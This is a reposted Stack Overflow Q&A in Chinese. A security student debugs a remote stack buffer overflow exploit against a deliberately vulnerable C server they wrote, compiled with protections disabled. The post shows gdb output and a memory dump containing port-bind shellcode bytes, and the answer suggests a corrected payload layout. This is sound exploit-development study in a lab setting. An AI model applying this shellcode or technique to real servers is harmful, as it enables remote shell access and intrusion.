gpt4 book ai didi

security - 远程服务器上的缓冲区溢出

转载 作者:行者123 更新时间:2023-12-02 03:48:32 25 4
gpt4 key购买 nike

我是一名计算机安全专业的学生,​​我正在做一个关于远程缓冲区溢出的项目。我用 C 语言开发了一个易受攻击的服务器,不安全地使用了 strncpy 函数,它实际上在 512 字节的缓冲区上复制了 1024 字节,并利用漏洞来测试漏洞。

我的服务器代码结构基本上是这样的:

main()
{
/* socket programming stuff here */

/* accept input string with busy waiting loop */

/* call vulnerable function to process string */

/* the rest of the code should be never executed if attack succeeds*/
}

vuln (descriptor, pointer to buffer)
{
/* copies to smaller buffer overflowing it to overwrite return address */

/* call other_function */

/* returns control to main */
}

other_function()
{
/* do other stuff */
}

我使用 -fno-stack-protector、-static 和 -z execstack 标志编译它,并在我的 Ubuntu 机器上关闭了 ASLR。

总体思路是执行一个简单的端口绑定(bind) shellcode 并获得一个远程 shell。问题是我继续在 gdb 上收到以下错误:

"警告:无法插入断点 0。访问内存地址 0x90909090 时出错:输入/输出错误。

0xbfffec8c 在 ?? ()"

恢复从易受攻击的函数到调用 main 的执行流的返回地址位于地址 0xbfffedc4:

0xbfffedbc: 0x08049940 0xbffff258 0x08049097 0x00000008

我设法用一个有意义的地址覆盖它,该地址指向我的 nop sled,但出于某种原因,我无法让我的机器执行 NOP 指令以最终到达 shellcode。恶意缓冲区的总体布局是:

[nop sled(大约 420 字节)] [shellcode] [repeated ret addr]0xbfffebbc - 0xbffffed5c 0xbfffed60 0xbfffedbc - 0xbfffefb4

...EIP 被重定向到 0xbfffec8c,大致在 NOP sled 的中间。

发生段错误后,info r 表示 EIP 已正确加载所需地址 (0xbfffec8c):

eax            0xffffffff   -1
ecx 0x80f3840 135215168
edx 0x61e 1566
ebx 0x0 0
esp 0xbfffedc8 0xbfffedc8
ebp 0xbfffec8c 0xbfffec8c
esi 0x0 0
edi 0xbfffec8c -1073746804
eip 0xbfffec8c 0xbfffec8c
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

...如果我反汇编堆栈内存的那个区域,我会得到预期的缓冲区内容(许多 0x90 后跟我的 shellcode):

(gdb) x/128xw 0xbfffec8c
0xbfffec8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecbc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeccc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecdc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecfc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed5c: 0x90909090 0x9958666a 0x5243db31 0x026a016a
0xbfffed6c: 0x80cde189 0x58666a96 0x68665243 0x5366697a
0xbfffed7c: 0x106ae189 0xe1895651 0x66b080cd 0x56534343
0xbfffed8c: 0x80cde189 0x524366b0 0xe1895652 0x6a9380cd
0xbfffed9c: 0x3fb05902 0x794980cd 0x520bb0f9 0x732f2f68
0xbfffedac: 0x622f6868 0xe3896e69 0x53e28952 0x80cde189
0xbfffedbc: 0xbfffec8c 0xbfffec8c 0xbfffec8c 0xbfffec8c

请帮助我找出问题所在,如果您能够从我提供的信息中识别出问题,只是提示或建议我应该寻找什么,而不是确切的解决方案。我不想作弊 :)

感谢您的宝贵时间。亲切的问候,曼科

最佳答案

似乎在执行 eip 的特定点有 0x90909090,这当然在堆栈范围之外。或者它可以在异常发生后 seh 传输代码执行。使用 nopseled 大小的模式并找到新的“访问内存地址 0x__ 时出错”以找到问题所在的位置

如果我可以说,我看不出重复返回地址有任何理由。如果你愿意,可以尝试在 eip 覆盖后添加 shellcode。如果可能的话,那会更容易,(如果缓冲区可以被不确定地覆盖)

在你的情况下,[nop sled(直到 eip 覆盖的字节数 - shellcode 的字节数)] [shellcode][eip overwrite value(bfffec8c)][optional: nopsled] 就足够了。

关于security - 远程服务器上的缓冲区溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15409688/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com